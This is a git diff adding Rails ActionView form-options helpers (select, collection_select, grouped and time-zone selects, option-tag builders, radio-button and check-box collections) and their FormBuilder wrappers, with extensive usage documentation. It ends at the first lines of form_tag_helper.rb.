+    #   select("post", "category", Post::CATEGORIES, {disabled: 'restricted'})
+    #
+    # could become:
+    #
+    #   <select name="post[category]">
+    #     <option></option>
+    #     <option>joke</option>
+    #     <option>poem</option>
+    #     <option disabled="disabled">restricted</option>
+    #   </select>
+    #
+    # When used with the <tt>collection_select</tt> helper, <tt>:disabled</tt> can also be a Proc that identifies those options that should be disabled.
+    #
+    #   collection_select(:post, :category_id, Category.all, :id, :name, {disabled: lambda{|category| category.archived? }})
+    #
+    # If the categories "2008 stuff" and "Christmas" return true when the method <tt>archived?</tt> is called, this would return:
+    #   <select name="post[category_id]">
+    #     <option value="1" disabled="disabled">2008 stuff</option>
+    #     <option value="2" disabled="disabled">Christmas</option>
+    #     <option value="3">Jokes</option>
+    #     <option value="4">Poems</option>
+    #   </select>
+    #
+    module FormOptionsHelper
+      # ERB::Util can mask some helpers like textilize. Make sure to include them.
+      include TextHelper
+
+      # Create a select tag and a series of contained option tags for the provided object and method.
+      # The option currently held by the object will be selected, provided that the object is available.
+      #
+      # There are two possible formats for the +choices+ parameter, corresponding to other helpers' output:
+      #
+      # * A flat collection (see +options_for_select+).
+      #
+      # * A nested collection (see +grouped_options_for_select+).
+      #
+      # For example:
+      #
+      #   select("post", "person_id", Person.all.collect {|p| [ p.name, p.id ] }, { include_blank: true })
+      #
+      # would become:
+      #
+      #   <select name="post[person_id]">
+      #     <option value=""></option>
+      #     <option value="1" selected="selected">David</option>
+      #     <option value="2">Sam</option>
+      #     <option value="3">Tobias</option>
+      #   </select>
+      #
+      # assuming the associated person has ID 1.
+      #
+      # This can be used to provide a default set of options in the standard way: before rendering the create form, a
+      # new model instance is assigned the default options and bound to @model_name. Usually this model is not saved
+      # to the database. Instead, a second model object is created when the create request is received.
+      # This allows the user to submit a form page more than once with the expected results of creating multiple records.
+      # In addition, this allows a single partial to be used to generate form inputs for both edit and create forms.
+      #
+      # By default, <tt>post.person_id</tt> is the selected option. Specify <tt>selected: value</tt> to use a different selection
+      # or <tt>selected: nil</tt> to leave all options unselected. Similarly, you can specify values to be disabled in the option
+      # tags by specifying the <tt>:disabled</tt> option. This can either be a single value or an array of values to be disabled.
+      #
+      # A block can be passed to +select+ to customize how the options tags will be rendered. This
+      # is useful when the options tag has complex attributes.
+      #
+      #   select(report, "campaign_ids") do
+      #     available_campaigns.each do |c|
+      #       content_tag(:option, c.name, value: c.id, data: { tags: c.tags.to_json })
+      #     end
+      #   end
+      #
+      # ==== Gotcha
+      #
+      # The HTML specification says when +multiple+ parameter passed to select and all options got deselected
+      # web browsers do not send any value to server. Unfortunately this introduces a gotcha:
+      # if an +User+ model has many +roles+ and have +role_ids+ accessor, and in the form that edits roles of the user
+      # the user deselects all roles from +role_ids+ multiple select box, no +role_ids+ parameter is sent. So,
+      # any mass-assignment idiom like
+      #
+      #   @user.update(params[:user])
+      #
+      # wouldn't update roles.
+      #
+      # To prevent this the helper generates an auxiliary hidden field before
+      # every multiple select. The hidden field has the same name as multiple select and blank value.
+      #
+      # This way, the client either sends only the hidden field (representing
+      # the deselected multiple select box), or both fields. Since the HTML specification
+      # says key/value pairs have to be sent in the same order they appear in the
+      # form, and parameters extraction gets the last occurrence of any repeated
+      # key in the query string, that works for ordinary forms.
+      #
+      # In case if you don't want the helper to generate this hidden field you can specify
+      # <tt>include_hidden: false</tt> option.
+      #
+      def select(object, method, choices = nil, options = {}, html_options = {}, &block)
+        Tags::Select.new(object, method, self, choices, options, html_options, &block).render
+      end
+
+      # Returns <tt><select></tt> and <tt><option></tt> tags for the collection of existing return values of
+      # +method+ for +object+'s class. The value returned from calling +method+ on the instance +object+ will
+      # be selected. If calling +method+ returns +nil+, no selection is made without including <tt>:prompt</tt>
+      # or <tt>:include_blank</tt> in the +options+ hash.
+      #
+      # The <tt>:value_method</tt> and <tt>:text_method</tt> parameters are methods to be called on each member
+      # of +collection+. The return values are used as the +value+ attribute and contents of each
+      # <tt><option></tt> tag, respectively. They can also be any object that responds to +call+, such
+      # as a +proc+, that will be called for each member of the +collection+ to
+      # retrieve the value/text.
+      #
+      # Example object structure for use with this method:
+      #
+      #   class Post < ActiveRecord::Base
+      #     belongs_to :author
+      #   end
+      #
+      #   class Author < ActiveRecord::Base
+      #     has_many :posts
+      #     def name_with_initial
+      #       "#{first_name.first}. #{last_name}"
+      #     end
+      #   end
+      #
+      # Sample usage (selecting the associated Author for an instance of Post, <tt>@post</tt>):
+      #
+      #   collection_select(:post, :author_id, Author.all, :id, :name_with_initial, prompt: true)
+      #
+      # If <tt>@post.author_id</tt> is already <tt>1</tt>, this would return:
+      #   <select name="post[author_id]">
+      #     <option value="">Please select</option>
+      #     <option value="1" selected="selected">D. Heinemeier Hansson</option>
+      #     <option value="2">D. Thomas</option>
+      #     <option value="3">M. Clark</option>
+      #   </select>
+      def collection_select(object, method, collection, value_method, text_method, options = {}, html_options = {})
+        Tags::CollectionSelect.new(object, method, self, collection, value_method, text_method, options, html_options).render
+      end
+
+      # Returns <tt><select></tt>, <tt><optgroup></tt> and <tt><option></tt> tags for the collection of existing return values of
+      # +method+ for +object+'s class. The value returned from calling +method+ on the instance +object+ will
+      # be selected. If calling +method+ returns +nil+, no selection is made without including <tt>:prompt</tt>
+      # or <tt>:include_blank</tt> in the +options+ hash.
+      #
+      # Parameters:
+      # * +object+ - The instance of the class to be used for the select tag
+      # * +method+ - The attribute of +object+ corresponding to the select tag
+      # * +collection+ - An array of objects representing the <tt><optgroup></tt> tags.
+      # * +group_method+ - The name of a method which, when called on a member of +collection+, returns an
+      #   array of child objects representing the <tt><option></tt> tags.
+      # * +group_label_method+ - The name of a method which, when called on a member of +collection+, returns a
+      #   string to be used as the +label+ attribute for its <tt><optgroup></tt> tag.
+      # * +option_key_method+ - The name of a method which, when called on a child object of a member of
+      #   +collection+, returns a value to be used as the +value+ attribute for its <tt><option></tt> tag.
+      # * +option_value_method+ - The name of a method which, when called on a child object of a member of
+      #   +collection+, returns a value to be used as the contents of its <tt><option></tt> tag.
+      #
+      # Example object structure for use with this method:
+      #
+      #   class Continent < ActiveRecord::Base
+      #     has_many :countries
+      #     # attribs: id, name
+      #   end
+      #
+      #   class Country < ActiveRecord::Base
+      #     belongs_to :continent
+      #     # attribs: id, name, continent_id
+      #   end
+      #
+      #   class City < ActiveRecord::Base
+      #     belongs_to :country
+      #     # attribs: id, name, country_id
+      #   end
+      #
+      # Sample usage:
+      #
+      #   grouped_collection_select(:city, :country_id, @continents, :countries, :name, :id, :name)
+      #
+      # Possible output:
+      #
+      #   <select name="city[country_id]">
+      #     <optgroup label="Africa">
+      #       <option value="1">South Africa</option>
+      #       <option value="3">Somalia</option>
+      #     </optgroup>
+      #     <optgroup label="Europe">
+      #       <option value="7" selected="selected">Denmark</option>
+      #       <option value="2">Ireland</option>
+      #     </optgroup>
+      #   </select>
+      #
+      def grouped_collection_select(object, method, collection, group_method, group_label_method, option_key_method, option_value_method, options = {}, html_options = {})
+        Tags::GroupedCollectionSelect.new(object, method, self, collection, group_method, group_label_method, option_key_method, option_value_method, options, html_options).render
+      end
+
+      # Returns select and option tags for the given object and method, using
+      # #time_zone_options_for_select to generate the list of option tags.
+      #
+      # In addition to the <tt>:include_blank</tt> option documented above,
+      # this method also supports a <tt>:model</tt> option, which defaults
+      # to ActiveSupport::TimeZone. This may be used by users to specify a
+      # different time zone model object. (See +time_zone_options_for_select+
+      # for more information.)
+      #
+      # You can also supply an array of ActiveSupport::TimeZone objects
+      # as +priority_zones+, so that they will be listed above the rest of the
+      # (long) list. (You can use ActiveSupport::TimeZone.us_zones as a convenience
+      # for obtaining a list of the US time zones, or a Regexp to select the zones
+      # of your choice)
+      #
+      # Finally, this method supports a <tt>:default</tt> option, which selects
+      # a default ActiveSupport::TimeZone if the object's time zone is +nil+.
+      #
+      #   time_zone_select( "user", "time_zone", nil, include_blank: true)
+      #
+      #   time_zone_select( "user", "time_zone", nil, default: "Pacific Time (US & Canada)" )
+      #
+      #   time_zone_select( "user", 'time_zone', ActiveSupport::TimeZone.us_zones, default: "Pacific Time (US & Canada)")
+      #
+      #   time_zone_select( "user", 'time_zone', [ ActiveSupport::TimeZone['Alaska'], ActiveSupport::TimeZone['Hawaii'] ])
+      #
+      #   time_zone_select( "user", 'time_zone', /Australia/)
+      #
+      #   time_zone_select( "user", "time_zone", ActiveSupport::TimeZone.all.sort, model: ActiveSupport::TimeZone)
+      def time_zone_select(object, method, priority_zones = nil, options = {}, html_options = {})
+        Tags::TimeZoneSelect.new(object, method, self, priority_zones, options, html_options).render
+      end
+
+      # Accepts a container (hash, array, enumerable, your type) and returns a string of option tags. Given a container
+      # where the elements respond to first and last (such as a two-element array), the "lasts" serve as option values and
+      # the "firsts" as option text. Hashes are turned into this form automatically, so the keys become "firsts" and values
+      # become lasts. If +selected+ is specified, the matching "last" or element will get the selected option-tag. +selected+
+      # may also be an array of values to be selected when using a multiple select.
+      #
+      #   options_for_select([["Dollar", "$"], ["Kroner", "DKK"]])
+      #   # => <option value="$">Dollar</option>
+      #   # => <option value="DKK">Kroner</option>
+      #
+      #   options_for_select([ "VISA", "MasterCard" ], "MasterCard")
+      #   # => <option>VISA</option>
+      #   # => <option selected="selected">MasterCard</option>
+      #
+      #   options_for_select({ "Basic" => "$20", "Plus" => "$40" }, "$40")
+      #   # => <option value="$20">Basic</option>
+      #   # => <option value="$40" selected="selected">Plus</option>
+      #
+      #   options_for_select([ "VISA", "MasterCard", "Discover" ], ["VISA", "Discover"])
+      #   # => <option selected="selected">VISA</option>
+      #   # => <option>MasterCard</option>
+      #   # => <option selected="selected">Discover</option>
+      #
+      # You can optionally provide html attributes as the last element of the array.
+      #
+      #   options_for_select([ "Denmark", ["USA", {class: 'bold'}], "Sweden" ], ["USA", "Sweden"])
+      #   # => <option value="Denmark">Denmark</option>
+      #   # => <option value="USA" class="bold" selected="selected">USA</option>
+      #   # => <option value="Sweden" selected="selected">Sweden</option>
+      #
+      #   options_for_select([["Dollar", "$", {class: "bold"}], ["Kroner", "DKK", {onclick: "alert('HI');"}]])
+      #   # => <option value="$" class="bold">Dollar</option>
+      #   # => <option value="DKK" onclick="alert('HI');">Kroner</option>
+      #
+      # If you wish to specify disabled option tags, set +selected+ to be a hash, with <tt>:disabled</tt> being either a value
+      # or array of values to be disabled. In this case, you can use <tt>:selected</tt> to specify selected option tags.
+      #
+      #   options_for_select(["Free", "Basic", "Advanced", "Super Platinum"], disabled: "Super Platinum")
+      #   # => <option value="Free">Free</option>
+      #   # => <option value="Basic">Basic</option>
+      #   # => <option value="Advanced">Advanced</option>
+      #   # => <option value="Super Platinum" disabled="disabled">Super Platinum</option>
+      #
+      #   options_for_select(["Free", "Basic", "Advanced", "Super Platinum"], disabled: ["Advanced", "Super Platinum"])
+      #   # => <option value="Free">Free</option>
+      #   # => <option value="Basic">Basic</option>
+      #   # => <option value="Advanced" disabled="disabled">Advanced</option>
+      #   # => <option value="Super Platinum" disabled="disabled">Super Platinum</option>
+      #
+      #   options_for_select(["Free", "Basic", "Advanced", "Super Platinum"], selected: "Free", disabled: "Super Platinum")
+      #   # => <option value="Free" selected="selected">Free</option>
+      #   # => <option value="Basic">Basic</option>
+      #   # => <option value="Advanced">Advanced</option>
+      #   # => <option value="Super Platinum" disabled="disabled">Super Platinum</option>
+      #
+      # NOTE: Only the option tags are returned, you have to wrap this call in a regular HTML select tag.
+      def options_for_select(container, selected = nil)
+        return container if String === container
+
+        selected, disabled = extract_selected_and_disabled(selected).map do |r|
+          Array(r).map { |item| item.to_s }
+        end
+
+        container.map do |element|
+          html_attributes = option_html_attributes(element)
+          text, value = option_text_and_value(element).map { |item| item.to_s }
+
+          html_attributes[:selected] ||= option_value_selected?(value, selected)
+          html_attributes[:disabled] ||= disabled && option_value_selected?(value, disabled)
+          html_attributes[:value] = value
+
+          content_tag_string(:option, text, html_attributes)
+        end.join("\n").html_safe
+      end
+
+      # Returns a string of option tags that have been compiled by iterating over the +collection+ and assigning
+      # the result of a call to the +value_method+ as the option value and the +text_method+ as the option text.
+      #
+      #   options_from_collection_for_select(@people, 'id', 'name')
+      #   # => <option value="#{person.id}">#{person.name}</option>
+      #
+      # This is more often than not used inside a #select_tag like this example:
+      #
+      #   select_tag 'person', options_from_collection_for_select(@people, 'id', 'name')
+      #
+      # If +selected+ is specified as a value or array of values, the element(s) returning a match on +value_method+
+      # will be selected option tag(s).
+      #
+      # If +selected+ is specified as a Proc, those members of the collection that return true for the anonymous
+      # function are the selected values.
+      #
+      # +selected+ can also be a hash, specifying both <tt>:selected</tt> and/or <tt>:disabled</tt> values as required.
+      #
+      # Be sure to specify the same class as the +value_method+ when specifying selected or disabled options.
+      # Failure to do this will produce undesired results. Example:
+      #   options_from_collection_for_select(@people, 'id', 'name', '1')
+      # Will not select a person with the id of 1 because 1 (an Integer) is not the same as '1' (a string)
+      #   options_from_collection_for_select(@people, 'id', 'name', 1)
+      # should produce the desired results.
+      def options_from_collection_for_select(collection, value_method, text_method, selected = nil)
+        options = collection.map do |element|
+          [value_for_collection(element, text_method), value_for_collection(element, value_method), option_html_attributes(element)]
+        end
+        selected, disabled = extract_selected_and_disabled(selected)
+        select_deselect = {
+          selected: extract_values_from_collection(collection, value_method, selected),
+          disabled: extract_values_from_collection(collection, value_method, disabled)
+        }
+
+        options_for_select(options, select_deselect)
+      end
+
+      # Returns a string of <tt><option></tt> tags, like <tt>options_from_collection_for_select</tt>, but
+      # groups them by <tt><optgroup></tt> tags based on the object relationships of the arguments.
+      #
+      # Parameters:
+      # * +collection+ - An array of objects representing the <tt><optgroup></tt> tags.
+      # * +group_method+ - The name of a method which, when called on a member of +collection+, returns an
+      #   array of child objects representing the <tt><option></tt> tags.
+      # * group_label_method+ - The name of a method which, when called on a member of +collection+, returns a
+      #   string to be used as the +label+ attribute for its <tt><optgroup></tt> tag.
+      # * +option_key_method+ - The name of a method which, when called on a child object of a member of
+      #   +collection+, returns a value to be used as the +value+ attribute for its <tt><option></tt> tag.
+      # * +option_value_method+ - The name of a method which, when called on a child object of a member of
+      #   +collection+, returns a value to be used as the contents of its <tt><option></tt> tag.
+      # * +selected_key+ - A value equal to the +value+ attribute for one of the <tt><option></tt> tags,
+      #   which will have the +selected+ attribute set. Corresponds to the return value of one of the calls
+      #   to +option_key_method+. If +nil+, no selection is made. Can also be a hash if disabled values are
+      #   to be specified.
+      #
+      # Example object structure for use with this method:
+      #
+      #   class Continent < ActiveRecord::Base
+      #     has_many :countries
+      #     # attribs: id, name
+      #   end
+      #
+      #   class Country < ActiveRecord::Base
+      #     belongs_to :continent
+      #     # attribs: id, name, continent_id
+      #   end
+      #
+      # Sample usage:
+      #   option_groups_from_collection_for_select(@continents, :countries, :name, :id, :name, 3)
+      #
+      # Possible output:
+      #   <optgroup label="Africa">
+      #     <option value="1">Egypt</option>
+      #     <option value="4">Rwanda</option>
+      #     ...
+      #   </optgroup>
+      #   <optgroup label="Asia">
+      #     <option value="3" selected="selected">China</option>
+      #     <option value="12">India</option>
+      #     <option value="5">Japan</option>
+      #     ...
+      #   </optgroup>
+      #
+      # <b>Note:</b> Only the <tt><optgroup></tt> and <tt><option></tt> tags are returned, so you still have to
+      # wrap the output in an appropriate <tt><select></tt> tag.
+      def option_groups_from_collection_for_select(collection, group_method, group_label_method, option_key_method, option_value_method, selected_key = nil)
+        collection.map do |group|
+          option_tags = options_from_collection_for_select(
+            group.send(group_method), option_key_method, option_value_method, selected_key)
+
+          content_tag(:optgroup, option_tags, label: group.send(group_label_method))
+        end.join.html_safe
+      end
+
+      # Returns a string of <tt><option></tt> tags, like <tt>options_for_select</tt>, but
+      # wraps them with <tt><optgroup></tt> tags.
+      #
+      # Parameters:
+      # * +grouped_options+ - Accepts a nested array or hash of strings. The first value serves as the
+      #   <tt><optgroup></tt> label while the second value must be an array of options. The second value can be a
+      #   nested array of text-value pairs. See <tt>options_for_select</tt> for more info.
+      #    Ex. ["North America",[["United States","US"],["Canada","CA"]]]
+      # * +selected_key+ - A value equal to the +value+ attribute for one of the <tt><option></tt> tags,
+      #   which will have the +selected+ attribute set. Note: It is possible for this value to match multiple options
+      #   as you might have the same option in multiple groups. Each will then get <tt>selected="selected"</tt>.
+      #
+      # Options:
+      # * <tt>:prompt</tt> - set to true or a prompt string. When the select element doesn't have a value yet, this
+      #   prepends an option with a generic prompt - "Please select" - or the given prompt string.
+      # * <tt>:divider</tt> - the divider for the options groups.
+      #
+      #   grouped_options = [
+      #    ['North America',
+      #      [['United States','US'],'Canada']],
+      #    ['Europe',
+      #      ['Denmark','Germany','France']]
+      #   ]
+      #   grouped_options_for_select(grouped_options)
+      #
+      #   grouped_options = {
+      #     'North America' => [['United States','US'], 'Canada'],
+      #     'Europe' => ['Denmark','Germany','France']
+      #   }
+      #   grouped_options_for_select(grouped_options)
+      #
+      # Possible output:
+      #   <optgroup label="North America">
+      #     <option value="US">United States</option>
+      #     <option value="Canada">Canada</option>
+      #   </optgroup>
+      #   <optgroup label="Europe">
+      #     <option value="Denmark">Denmark</option>
+      #     <option value="Germany">Germany</option>
+      #     <option value="France">France</option>
+      #   </optgroup>
+      #
+      #   grouped_options = [
+      #     [['United States','US'], 'Canada'],
+      #     ['Denmark','Germany','France']
+      #   ]
+      #   grouped_options_for_select(grouped_options, nil, divider: '---------')
+      #
+      # Possible output:
+      #   <optgroup label="---------">
+      #     <option value="US">United States</option>
+      #     <option value="Canada">Canada</option>
+      #   </optgroup>
+      #   <optgroup label="---------">
+      #     <option value="Denmark">Denmark</option>
+      #     <option value="Germany">Germany</option>
+      #     <option value="France">France</option>
+      #   </optgroup>
+      #
+      # <b>Note:</b> Only the <tt><optgroup></tt> and <tt><option></tt> tags are returned, so you still have to
+      # wrap the output in an appropriate <tt><select></tt> tag.
+      def grouped_options_for_select(grouped_options, selected_key = nil, options = {})
+        prompt  = options[:prompt]
+        divider = options[:divider]
+
+        body = "".html_safe
+
+        if prompt
+          body.safe_concat content_tag(:option, prompt_text(prompt), value: "")
+        end
+
+        grouped_options.each do |container|
+          html_attributes = option_html_attributes(container)
+
+          if divider
+            label = divider
+          else
+            label, container = container
+          end
+
+          html_attributes = { label: label }.merge!(html_attributes)
+          body.safe_concat content_tag(:optgroup, options_for_select(container, selected_key), html_attributes)
+        end
+
+        body
+      end
+
+      # Returns a string of option tags for pretty much any time zone in the
+      # world. Supply a ActiveSupport::TimeZone name as +selected+ to have it
+      # marked as the selected option tag. You can also supply an array of
+      # ActiveSupport::TimeZone objects as +priority_zones+, so that they will
+      # be listed above the rest of the (long) list. (You can use
+      # ActiveSupport::TimeZone.us_zones as a convenience for obtaining a list
+      # of the US time zones, or a Regexp to select the zones of your choice)
+      #
+      # The +selected+ parameter must be either +nil+, or a string that names
+      # a ActiveSupport::TimeZone.
+      #
+      # By default, +model+ is the ActiveSupport::TimeZone constant (which can
+      # be obtained in Active Record as a value object). The only requirement
+      # is that the +model+ parameter be an object that responds to +all+, and
+      # returns an array of objects that represent time zones.
+      #
+      # NOTE: Only the option tags are returned, you have to wrap this call in
+      # a regular HTML select tag.
+      def time_zone_options_for_select(selected = nil, priority_zones = nil, model = ::ActiveSupport::TimeZone)
+        zone_options = "".html_safe
+
+        zones = model.all
+        convert_zones = lambda { |list| list.map { |z| [ z.to_s, z.name ] } }
+
+        if priority_zones
+          if priority_zones.is_a?(Regexp)
+            priority_zones = zones.select { |z| z =~ priority_zones }
+          end
+
+          zone_options.safe_concat options_for_select(convert_zones[priority_zones], selected)
+          zone_options.safe_concat content_tag(:option, '-------------', value: '', disabled: true)
+          zone_options.safe_concat "\n"
+
+          zones = zones - priority_zones
+        end
+
+        zone_options.safe_concat options_for_select(convert_zones[zones], selected)
+      end
+
+      # Returns radio button tags for the collection of existing return values
+      # of +method+ for +object+'s class. The value returned from calling
+      # +method+ on the instance +object+ will be selected. If calling +method+
+      # returns +nil+, no selection is made.
+      #
+      # The <tt>:value_method</tt> and <tt>:text_method</tt> parameters are
+      # methods to be called on each member of +collection+. The return values
+      # are used as the +value+ attribute and contents of each radio button tag,
+      # respectively. They can also be any object that responds to +call+, such
+      # as a +proc+, that will be called for each member of the +collection+ to
+      # retrieve the value/text.
+      #
+      # Example object structure for use with this method:
+      #   class Post < ActiveRecord::Base
+      #     belongs_to :author
+      #   end
+      #   class Author < ActiveRecord::Base
+      #     has_many :posts
+      #     def name_with_initial
+      #       "#{first_name.first}. #{last_name}"
+      #     end
+      #   end
+      #
+      # Sample usage (selecting the associated Author for an instance of Post, <tt>@post</tt>):
+      #   collection_radio_buttons(:post, :author_id, Author.all, :id, :name_with_initial)
+      #
+      # If <tt>@post.author_id</tt> is already <tt>1</tt>, this would return:
+      #   <input id="post_author_id_1" name="post[author_id]" type="radio" value="1" checked="checked" />
+      #   <label for="post_author_id_1">D. Heinemeier Hansson</label>
+      #   <input id="post_author_id_2" name="post[author_id]" type="radio" value="2" />
+      #   <label for="post_author_id_2">D. Thomas</label>
+      #   <input id="post_author_id_3" name="post[author_id]" type="radio" value="3" />
+      #   <label for="post_author_id_3">M. Clark</label>
+      #
+      # It is also possible to customize the way the elements will be shown by
+      # giving a block to the method:
+      #   collection_radio_buttons(:post, :author_id, Author.all, :id, :name_with_initial) do |b|
+      #     b.label { b.radio_button }
+      #   end
+      #
+      # The argument passed to the block is a special kind of builder for this
+      # collection, which has the ability to generate the label and radio button
+      # for the current item in the collection, with proper text and value.
+      # Using it, you can change the label and radio button display order or
+      # even use the label as wrapper, as in the example above.
+      #
+      # The builder methods <tt>label</tt> and <tt>radio_button</tt> also accept
+      # extra html options:
+      #   collection_radio_buttons(:post, :author_id, Author.all, :id, :name_with_initial) do |b|
+      #     b.label(class: "radio_button") { b.radio_button(class: "radio_button") }
+      #   end
+      #
+      # There are also three special methods available: <tt>object</tt>, <tt>text</tt> and
+      # <tt>value</tt>, which are the current item being rendered, its text and value methods,
+      # respectively. You can use them like this:
+      #   collection_radio_buttons(:post, :author_id, Author.all, :id, :name_with_initial) do |b|
+      #      b.label(:"data-value" => b.value) { b.radio_button + b.text }
+      #   end
+      def collection_radio_buttons(object, method, collection, value_method, text_method, options = {}, html_options = {}, &block)
+        Tags::CollectionRadioButtons.new(object, method, self, collection, value_method, text_method, options, html_options).render(&block)
+      end
+
+      # Returns check box tags for the collection of existing return values of
+      # +method+ for +object+'s class. The value returned from calling +method+
+      # on the instance +object+ will be selected. If calling +method+ returns
+      # +nil+, no selection is made.
+      #
+      # The <tt>:value_method</tt> and <tt>:text_method</tt> parameters are
+      # methods to be called on each member of +collection+. The return values
+      # are used as the +value+ attribute and contents of each check box tag,
+      # respectively. They can also be any object that responds to +call+, such
+      # as a +proc+, that will be called for each member of the +collection+ to
+      # retrieve the value/text.
+      #
+      # Example object structure for use with this method:
+      #   class Post < ActiveRecord::Base
+      #     has_and_belongs_to_many :authors
+      #   end
+      #   class Author < ActiveRecord::Base
+      #     has_and_belongs_to_many :posts
+      #     def name_with_initial
+      #       "#{first_name.first}. #{last_name}"
+      #     end
+      #   end
+      #
+      # Sample usage (selecting the associated Author for an instance of Post, <tt>@post</tt>):
+      #   collection_check_boxes(:post, :author_ids, Author.all, :id, :name_with_initial)
+      #
+      # If <tt>@post.author_ids</tt> is already <tt>[1]</tt>, this would return:
+      #   <input id="post_author_ids_1" name="post[author_ids][]" type="checkbox" value="1" checked="checked" />
+      #   <label for="post_author_ids_1">D. Heinemeier Hansson</label>
+      #   <input id="post_author_ids_2" name="post[author_ids][]" type="checkbox" value="2" />
+      #   <label for="post_author_ids_2">D. Thomas</label>
+      #   <input id="post_author_ids_3" name="post[author_ids][]" type="checkbox" value="3" />
+      #   <label for="post_author_ids_3">M. Clark</label>
+      #   <input name="post[author_ids][]" type="hidden" value="" />
+      #
+      # It is also possible to customize the way the elements will be shown by
+      # giving a block to the method:
+      #   collection_check_boxes(:post, :author_ids, Author.all, :id, :name_with_initial) do |b|
+      #     b.label { b.check_box }
+      #   end
+      #
+      # The argument passed to the block is a special kind of builder for this
+      # collection, which has the ability to generate the label and check box
+      # for the current item in the collection, with proper text and value.
+      # Using it, you can change the label and check box display order or even
+      # use the label as wrapper, as in the example above.
+      #
+      # The builder methods <tt>label</tt> and <tt>check_box</tt> also accept
+      # extra html options:
+      #   collection_check_boxes(:post, :author_ids, Author.all, :id, :name_with_initial) do |b|
+      #     b.label(class: "check_box") { b.check_box(class: "check_box") }
+      #   end
+      #
+      # There are also three special methods available: <tt>object</tt>, <tt>text</tt> and
+      # <tt>value</tt>, which are the current item being rendered, its text and value methods,
+      # respectively. You can use them like this:
+      #   collection_check_boxes(:post, :author_ids, Author.all, :id, :name_with_initial) do |b|
+      #      b.label(:"data-value" => b.value) { b.check_box + b.text }
+      #   end
+      def collection_check_boxes(object, method, collection, value_method, text_method, options = {}, html_options = {}, &block)
+        Tags::CollectionCheckBoxes.new(object, method, self, collection, value_method, text_method, options, html_options).render(&block)
+      end
+
+      private
+        def option_html_attributes(element)
+          if Array === element
+            element.select { |e| Hash === e }.reduce({}, :merge!)
+          else
+            {}
+          end
+        end
+
+        def option_text_and_value(option)
+          # Options are [text, value] pairs or strings used for both.
+          if !option.is_a?(String) && option.respond_to?(:first) && option.respond_to?(:last)
+            option = option.reject { |e| Hash === e } if Array === option
+            [option.first, option.last]
+          else
+            [option, option]
+          end
+        end
+
+        def option_value_selected?(value, selected)
+          Array(selected).include? value
+        end
+
+        def extract_selected_and_disabled(selected)
+          if selected.is_a?(Proc)
+            [selected, nil]
+          else
+            selected = Array.wrap(selected)
+            options = selected.extract_options!.symbolize_keys
+            selected_items = options.fetch(:selected, selected)
+            [selected_items, options[:disabled]]
+          end
+        end
+
+        def extract_values_from_collection(collection, value_method, selected)
+          if selected.is_a?(Proc)
+            collection.map do |element|
+              element.send(value_method) if selected.call(element)
+            end.compact
+          else
+            selected
+          end
+        end
+
+        def value_for_collection(item, value)
+          value.respond_to?(:call) ? value.call(item) : item.send(value)
+        end
+
+        def prompt_text(prompt)
+          prompt.kind_of?(String) ? prompt : I18n.translate('helpers.select.prompt', default: 'Please select')
+        end
+    end
+
+    class FormBuilder
+      # Wraps ActionView::Helpers::FormOptionsHelper#select for form builders:
+      #
+      #   <%= form_for @post do |f| %>
+      #     <%= f.select :person_id, Person.all.collect { |p| [ p.name, p.id ] }, include_blank: true %>
+      #     <%= f.submit %>
+      #   <% end %>
+      #
+      # Please refer to the documentation of the base helper for details.
+      def select(method, choices = nil, options = {}, html_options = {}, &block)
+        @template.select(@object_name, method, choices, objectify_options(options), @default_options.merge(html_options), &block)
+      end
+
+      # Wraps ActionView::Helpers::FormOptionsHelper#collection_select for form builders:
+      #
+      #   <%= form_for @post do |f| %>
+      #     <%= f.collection_select :person_id, Author.all, :id, :name_with_initial, prompt: true %>
+      #     <%= f.submit %>
+      #   <% end %>
+      #
+      # Please refer to the documentation of the base helper for details.
+      def collection_select(method, collection, value_method, text_method, options = {}, html_options = {})
+        @template.collection_select(@object_name, method, collection, value_method, text_method, objectify_options(options), @default_options.merge(html_options))
+      end
+
+      # Wraps ActionView::Helpers::FormOptionsHelper#grouped_collection_select for form builders:
+      #
+      #   <%= form_for @city do |f| %>
+      #     <%= f.grouped_collection_select :country_id, @continents, :countries, :name, :id, :name %>
+      #     <%= f.submit %>
+      #   <% end %>
+      #
+      # Please refer to the documentation of the base helper for details.
+      def grouped_collection_select(method, collection, group_method, group_label_method, option_key_method, option_value_method, options = {}, html_options = {})
+        @template.grouped_collection_select(@object_name, method, collection, group_method, group_label_method, option_key_method, option_value_method, objectify_options(options), @default_options.merge(html_options))
+      end
+
+      # Wraps ActionView::Helpers::FormOptionsHelper#time_zone_select for form builders:
+      #
+      #   <%= form_for @user do |f| %>
+      #     <%= f.time_zone_select :time_zone, nil, include_blank: true %>
+      #     <%= f.submit %>
+      #   <% end %>
+      #
+      # Please refer to the documentation of the base helper for details.
+      def time_zone_select(method, priority_zones = nil, options = {}, html_options = {})
+        @template.time_zone_select(@object_name, method, priority_zones, objectify_options(options), @default_options.merge(html_options))
+      end
+
+      # Wraps ActionView::Helpers::FormOptionsHelper#collection_check_boxes for form builders:
+      #
+      #   <%= form_for @post do |f| %>
+      #     <%= f.collection_check_boxes :author_ids, Author.all, :id, :name_with_initial %>
+      #     <%= f.submit %>
+      #   <% end %>
+      #
+      # Please refer to the documentation of the base helper for details.
+      def collection_check_boxes(method, collection, value_method, text_method, options = {}, html_options = {}, &block)
+        @template.collection_check_boxes(@object_name, method, collection, value_method, text_method, objectify_options(options), @default_options.merge(html_options), &block)
+      end
+
+      # Wraps ActionView::Helpers::FormOptionsHelper#collection_radio_buttons for form builders:
+      #
+      #   <%= form_for @post do |f| %>
+      #     <%= f.collection_radio_buttons :author_id, Author.all, :id, :name_with_initial %>
+      #     <%= f.submit %>
+      #   <% end %>
+      #
+      # Please refer to the documentation of the base helper for details.
+      def collection_radio_buttons(method, collection, value_method, text_method, options = {}, html_options = {}, &block)
+        @template.collection_radio_buttons(@object_name, method, collection, value_method, text_method, objectify_options(options), @default_options.merge(html_options), &block)
+      end
+    end
+  end
+end
diff --git a/actionview/lib/action_view/helpers/form_tag_helper.rb b/actionview/lib/action_view/helpers/form_tag_helper.rb
new file mode 100644
index 0000000..0bbe081
--- /dev/null
+++ b/actionview/lib/action_view/helpers/form_tag_helper.rb
@@ -0,0 +1,752 @@
+require 'cgi'
+require 'action_view/helpers/tag_helper'
+require 'active_support/core_ext/string/output_safety'
+require 'active_support/core_ext/module/attribute_accessors'
+
+module ActionView
+  # = Action View Form Tag Helpers
+  module Helpers
+    # Provides a number of methods for creating form tags that don't rely on an Active Record object assigned to the template like
+    # FormHelper does. Instead, you provide the names and values manually.
+    #
